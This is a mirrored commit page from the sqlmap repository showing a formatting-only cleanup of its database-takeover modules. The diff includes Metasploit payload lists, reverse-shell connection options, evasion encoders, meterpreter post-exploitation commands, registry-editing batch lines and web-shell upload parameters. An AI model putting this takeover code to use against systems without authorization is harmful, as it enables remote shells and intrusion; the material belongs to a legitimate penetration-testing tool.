mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-26 17:39:03 +00:00
Some more PEPing (I hope that I haven't broke anything)
This commit is contained in:
@@ -172,9 +172,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
|
||||
inject.goStacked(expression)
|
||||
|
||||
# TODO: add support for PostgreSQL
|
||||
#elif Backend.isDbms(DBMS.PGSQL):
|
||||
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
|
||||
# inject.goStacked(expression)
|
||||
# elif Backend.isDbms(DBMS.PGSQL):
|
||||
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
|
||||
# inject.goStacked(expression)
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
|
||||
self._initRunAs()
|
||||
|
||||
@@ -81,6 +81,7 @@ class Metasploit:
|
||||
_ = normalizePath(os.path.join(_, ".."))
|
||||
if _ == old:
|
||||
break
|
||||
|
||||
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
||||
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
|
||||
self._msfEncode = "ruby %s" % self._msfEncode
|
||||
@@ -88,60 +89,60 @@ class Metasploit:
|
||||
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
|
||||
|
||||
self._msfPayloadsList = {
|
||||
"windows": {
|
||||
1: ("Meterpreter (default)", "windows/meterpreter"),
|
||||
2: ("Shell", "windows/shell"),
|
||||
3: ("VNC", "windows/vncinject"),
|
||||
},
|
||||
"linux": {
|
||||
1: ("Shell (default)", "linux/x86/shell"),
|
||||
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
|
||||
}
|
||||
}
|
||||
"windows": {
|
||||
1: ("Meterpreter (default)", "windows/meterpreter"),
|
||||
2: ("Shell", "windows/shell"),
|
||||
3: ("VNC", "windows/vncinject"),
|
||||
},
|
||||
"linux": {
|
||||
1: ("Shell (default)", "linux/x86/shell"),
|
||||
2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
|
||||
}
|
||||
}
|
||||
|
||||
self._msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
|
||||
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
|
||||
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
|
||||
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||
},
|
||||
"linux": {
|
||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||
}
|
||||
}
|
||||
"windows": {
|
||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
|
||||
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
|
||||
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
|
||||
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||
},
|
||||
"linux": {
|
||||
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
|
||||
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
|
||||
}
|
||||
}
|
||||
|
||||
self._msfEncodersList = {
|
||||
"windows": {
|
||||
1: ("No Encoder", "generic/none"),
|
||||
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
|
||||
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
|
||||
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
|
||||
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
|
||||
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
|
||||
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
|
||||
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
|
||||
9: ("Non-Alpha Encoder", "x86/nonalpha"),
|
||||
10: ("Non-Upper Encoder", "x86/nonupper"),
|
||||
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
|
||||
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
|
||||
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
|
||||
}
|
||||
}
|
||||
"windows": {
|
||||
1: ("No Encoder", "generic/none"),
|
||||
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
|
||||
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
|
||||
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
|
||||
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
|
||||
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
|
||||
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
|
||||
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
|
||||
9: ("Non-Alpha Encoder", "x86/nonalpha"),
|
||||
10: ("Non-Upper Encoder", "x86/nonupper"),
|
||||
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
|
||||
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
|
||||
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
|
||||
}
|
||||
}
|
||||
|
||||
self._msfSMBPortsList = {
|
||||
"windows": {
|
||||
1: ("139/TCP", "139"),
|
||||
2: ("445/TCP (default)", "445"),
|
||||
}
|
||||
}
|
||||
"windows": {
|
||||
1: ("139/TCP", "139"),
|
||||
2: ("445/TCP (default)", "445"),
|
||||
}
|
||||
}
|
||||
|
||||
self._portData = {
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
|
||||
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||
if Backend.isOs(OS.WINDOWS):
|
||||
@@ -484,10 +485,13 @@ class Metasploit:
|
||||
|
||||
send_all(proc, "use espia\n")
|
||||
send_all(proc, "use incognito\n")
|
||||
# This extension is loaded by default since Metasploit > 3.7
|
||||
#send_all(proc, "use priv\n")
|
||||
# This extension freezes the connection on 64-bit systems
|
||||
#send_all(proc, "use sniffer\n")
|
||||
|
||||
# This extension is loaded by default since Metasploit > 3.7:
|
||||
# send_all(proc, "use priv\n")
|
||||
|
||||
# This extension freezes the connection on 64-bit systems:
|
||||
# send_all(proc, "use sniffer\n")
|
||||
|
||||
send_all(proc, "sysinfo\n")
|
||||
send_all(proc, "getuid\n")
|
||||
|
||||
|
||||
@@ -33,19 +33,19 @@ class Registry:
|
||||
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
|
||||
|
||||
self._batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
readParse,
|
||||
)
|
||||
"@ECHO OFF\r\n",
|
||||
readParse,
|
||||
)
|
||||
|
||||
self._batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
|
||||
)
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
|
||||
)
|
||||
|
||||
self._batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
|
||||
)
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
|
||||
)
|
||||
|
||||
def _createLocalBatchFile(self):
|
||||
self._batPathFp = open(self._batPathLocal, "w")
|
||||
|
||||
@@ -112,10 +112,10 @@ class Web:
|
||||
|
||||
if self.webApi in getPublicTypeMembers(WEB_API, True):
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": stream,
|
||||
"uploadDir": directory,
|
||||
}
|
||||
"upload": "1",
|
||||
"file": stream,
|
||||
"uploadDir": directory,
|
||||
}
|
||||
|
||||
if self.webApi == WEB_API.ASPX:
|
||||
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
||||
|
||||
@@ -214,7 +214,7 @@ class XP_cmdshell:
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
|
||||
|
||||
if (output is None) or len(output)==0 or output[0] is None:
|
||||
if (output is None) or len(output) == 0 or output[0] is None:
|
||||
output = []
|
||||
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user